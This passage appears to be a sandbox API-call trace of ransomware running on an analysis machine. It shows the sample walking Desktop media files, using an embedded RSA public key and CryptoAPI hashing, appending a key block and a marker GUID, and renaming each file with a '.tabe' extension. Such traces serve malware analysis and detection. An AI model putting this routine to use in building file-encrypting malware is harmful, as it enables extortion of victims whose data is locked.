phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.137] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.137] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.137] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.137] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.137] GetLastError () returned 0x0 [0126.137] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.137] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.137] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.137] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.137] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.137] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.138] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf63f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.138] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.138] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.138] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.138] CloseHandle (hObject=0x618) returned 1 [0126.139] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j39KpS0Z.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j39kps0z.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j39KpS0Z.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j39kps0z.jpg.tabe")) returned 1 [0126.141] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b0aa20, ftCreationTime.dwHighDateTime=0x1d5dbbd, ftLastAccessTime.dwLowDateTime=0x9c793910, ftLastAccessTime.dwHighDateTime=0x1d5dfc1, ftLastWriteTime.dwLowDateTime=0x9c793910, ftLastWriteTime.dwHighDateTime=0x1d5dfc1, nFileSizeHigh=0x0, nFileSizeLow=0x106f6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="K7l0m.jpg", cAlternateFileName="")) returned 1 [0126.141] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K7l0m.jpg") returned=".jpg" [0126.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K7l0m.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k7l0m.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.141] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=67318) returned 1 [0126.141] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.142] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x106d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.142] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.143] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x106f6, lpOverlapped=0x0) returned 1 [0126.143] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.143] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.143] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.143] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.144] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.144] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.144] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.144] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.144] GetLastError () returned 0x0 [0126.144] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.144] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.144] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.144] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.144] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.144] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.145] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x106f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.145] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.145] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.145] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.145] CloseHandle (hObject=0x618) returned 1 [0126.146] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K7l0m.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k7l0m.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K7l0m.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k7l0m.jpg.tabe")) returned 1 [0126.148] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd3fa7e0, ftCreationTime.dwHighDateTime=0x1d5db2f, ftLastAccessTime.dwLowDateTime=0x758ef70, ftLastAccessTime.dwHighDateTime=0x1d5db60, ftLastWriteTime.dwLowDateTime=0x758ef70, ftLastWriteTime.dwHighDateTime=0x1d5db60, nFileSizeHigh=0x0, nFileSizeLow=0x181d3, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="L8X_tMhF7RAG1u.gif", cAlternateFileName="L8X_TM~1.GIF")) returned 1 [0126.148] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L8X_tMhF7RAG1u.gif") returned=".gif" [0126.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L8X_tMhF7RAG1u.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l8x_tmhf7rag1u.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.148] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=98771) returned 1 [0126.148] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.149] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x181ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.149] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.150] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x181d3, lpOverlapped=0x0) returned 1 [0126.150] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.150] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.150] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.150] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.151] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.151] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.151] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.151] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.151] GetLastError () returned 0x0 [0126.151] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.151] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.151] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.151] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.151] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.151] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.152] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x181d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.152] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.152] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.152] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.152] CloseHandle (hObject=0x618) returned 1 [0126.153] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L8X_tMhF7RAG1u.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l8x_tmhf7rag1u.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L8X_tMhF7RAG1u.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l8x_tmhf7rag1u.gif.tabe")) returned 1 [0126.154] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf783e0, ftCreationTime.dwHighDateTime=0x1d5e508, ftLastAccessTime.dwLowDateTime=0xfc974170, ftLastAccessTime.dwHighDateTime=0x1d5db52, ftLastWriteTime.dwLowDateTime=0xfc974170, ftLastWriteTime.dwHighDateTime=0x1d5db52, nFileSizeHigh=0x0, nFileSizeLow=0x421c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="LcAWP.mp3", cAlternateFileName="")) returned 1 [0126.155] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LcAWP.mp3") returned=".mp3" [0126.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LcAWP.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lcawp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.155] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=16924) returned 1 [0126.155] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.156] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x41f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.156] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.157] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x421c, lpOverlapped=0x0) returned 1 [0126.158] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.158] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.158] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.158] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.158] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.159] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.159] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.159] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.159] GetLastError () returned 0x0 [0126.159] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.159] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.159] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.159] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.159] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.159] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.159] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x421c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.159] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.159] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.159] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.159] CloseHandle (hObject=0x618) returned 1 [0126.160] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LcAWP.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lcawp.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LcAWP.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lcawp.mp3.tabe")) returned 1 [0126.161] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1d384e0, ftCreationTime.dwHighDateTime=0x1d5dfe4, ftLastAccessTime.dwLowDateTime=0x87d4a8c0, ftLastAccessTime.dwHighDateTime=0x1d5e3e3, ftLastWriteTime.dwLowDateTime=0x87d4a8c0, ftLastWriteTime.dwHighDateTime=0x1d5e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x39d1, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="OqjEf f9z.wav", cAlternateFileName="OQJEFF~1.WAV")) returned 1 [0126.161] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OqjEf f9z.wav") returned=".wav" [0126.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OqjEf f9z.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oqjef f9z.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.161] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=14801) returned 1 [0126.161] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.162] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x39ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.162] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.164] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x39d1, lpOverlapped=0x0) returned 1 [0126.164] lstrlenA (lpString="-----BEGIN PUBLIC 